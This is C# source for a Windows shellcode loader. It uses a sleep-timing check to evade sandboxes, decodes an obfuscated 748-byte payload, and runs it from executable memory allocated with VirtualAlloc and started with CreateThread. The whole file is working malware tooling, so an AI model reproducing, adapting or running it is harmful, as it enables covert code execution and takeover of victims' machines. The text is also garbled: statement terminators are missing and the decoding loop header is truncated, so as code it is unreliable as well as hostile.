using System
using System.Diagnostics
using System.Runtime.InteropServices
using System.Net
using System.Text
using System.Threading
namespace ConsoleApp1
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,uint flAllocationType, uint flProtect)
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,uint dwCreationFlags, IntPtr lpThreadId)
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds)
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds)
static void Main(string[] args)
{
DateTime t1 = DateTime.Now
Sleep(2000)
double t2 = DateTime.Now.Subtract(t1).TotalSeconds
if(t2 < 1.5)
{
return
}
byte[] buf = new byte[748] {0xfe, 0x4a, 0x85, 0xe6, 0xf2, 0xea, 0xce, 0x02, 0x02, 0x02, 0x43, 0x53, 0x43, 0x52, 0x54, 0x4a, 0x33, 0xd4, 0x53, 0x67, 0x4a, 0x8d, 0x54, 0x62, 0x58, 0x4a, 0x8d, 0x54, 0x1a, 0x4a, 0x8d, 0x54, 0x22, 0x4a, 0x11, 0xb9, 0x4c, 0x4c, 0x4a, 0x8d, 0x74, 0x52, 0x4f, 0x33, 0xcb, 0x4a, 0x33, 0xc2, 0xae, 0x3e, 0x63, 0x7e, 0x04, 0x2e, 0x22, 0x43, 0xc3, 0xcb, 0x0f, 0x43, 0x03, 0xc3, 0xe4, 0xef, 0x54, 0x4a, 0x8d, 0x54, 0x22, 0x8d, 0x44, 0x3e, 0x43, 0x53, 0x4a, 0x03, 0xd2, 0x68, 0x83, 0x7a, 0x1a, 0x0d, 0x04, 0x11, 0x87, 0x74, 0x02, 0x02, 0x02, 0x8d, 0x82, 0x8a, 0x02, 0x02, 0x02, 0x4a, 0x87, 0xc2, 0x76, 0x69, 0x4a, 0x03, 0xd2, 0x52, 0x46, 0x8d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0x8b, 0xc3, 0x4b, 0xc9, 0xc2, 0x1f, 0x0b, 0x02, 0x02, 0x4f, 0x33, 0xcb, 0x55, 0x55, 0x6c, 0x05, 0x55, 0x4b, 0xbc, 0x59, 0x8b, 0xa1, 0xc8, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0xea, 0xc4, 0x02, 0x02, 0x02, 0x31, 0x75, 0x4d, 0x72, 0x44, 0x6e, 0x63, 0x44, 0x33, 0x67, 0x79, 0x66, 0x33, 0x6c, 0x4a, 0x55, 0x51, 0x48, 0x58, 0x4b, 0x4d, 0x47, 0x79, 0x52, 0x65, 0x57, 0x39, 0x4e, 0x4e, 0x4a, 0x49, 0x37, 0x4a, 0x33, 0x76, 0x65, 0x53, 0x45, 0x6f, 0x4c, 0x72, 0x74, 0x72, 0x4a, 0x63, 0x66, 0x4a, 0x79, 0x3b, 0x59, 0x68, 0x52, 0x74, 0x61, 0x68, 0x38, 0x53, 0x65, 0x3b, 0x4a, 0x4e, 0x70, 0x7a, 0x6e, 0x4a, 0x54, 0x53, 0x7b, 0x49, 0x72, 0x36, 0x5c, 0x4c, 0x52, 0x68, 0x50, 0x73, 0x6b, 0x68, 0x54, 0x72, 0x73, 0x34, 0x59, 0x5c, 0x3a, 0x53, 0x65, 0x3a, 0x5c, 0x3b, 0x2f, 0x4f, 0x5b, 0x3b, 0x47, 0x73, 0x6b, 0x32, 0x74, 0x50, 0x72, 0x78, 0x59, 0x63, 0x47, 0x57, 0x72, 0x4f, 0x67, 0x66, 0x74, 0x37, 0x76, 0x4a, 0x37, 0x73, 0x4a, 0x55, 0x5c, 0x58, 0x6a, 0x7b, 0x6a, 0x64, 0x75, 0x2f, 0x6f, 0x5c, 0x78, 0x48, 0x4f, 0x37, 0x47, 0x54, 0x63, 0x61, 0x70, 0x48, 0x4c, 0x6b, 0x44, 0x70, 0x34, 0x77, 0x7b, 0x74, 0x63, 0x50, 0x5b, 0x33, 0x59, 0x3b, 0x72, 0x7b, 0x50, 0x3a,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0xbc, 0x5a, 0xa6, 0x55, 0xe7, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x95, 0x55, 0x55, 0x4a, 0x8b, 0xe9, 0x4a, 0x8b, 0xf3, 0x4a, 0x8b, 0xdc, 0x4b, 0xc9, 0xc2, 0x02, 0x22, 0x02, 0x02, 0x4b, 0x8b, 0xfb, 0x4b, 0xbc, 0x14, 0x98, 0x8b, 0xe4, 0x02, 0x02, 0x02, 0x02, 0x01, 0xd7, 0x4a, 0x85, 0xc6, 0x22, 0x87, 0xc2, 0x76, 0xb4, 0x68, 0x8d, 0x09, 0x4a, 0x03, 0xc5, 0x87, 0xc2, 0x77, 0xd4, 0x5a, 0xc5, 0x5a, 0x6c, 0x02, 0x5b, 0x4b, 0xc9, 0xc4, 0xf2, 0xb7, 0xa4, 0x58, 0x01, 0xd7
}
for(int i = 0
{
buf[i] = (byte)(((uint)buf[i] - 2) & 0xFF)
}
int size = buf.Length
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40)
Marshal.Copy(buf, 0, addr, size)
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,IntPtr.Zero, 0, IntPtr.Zero)
WaitForSingleObject(hThread, 0xFFFFFFFF)
}
}
}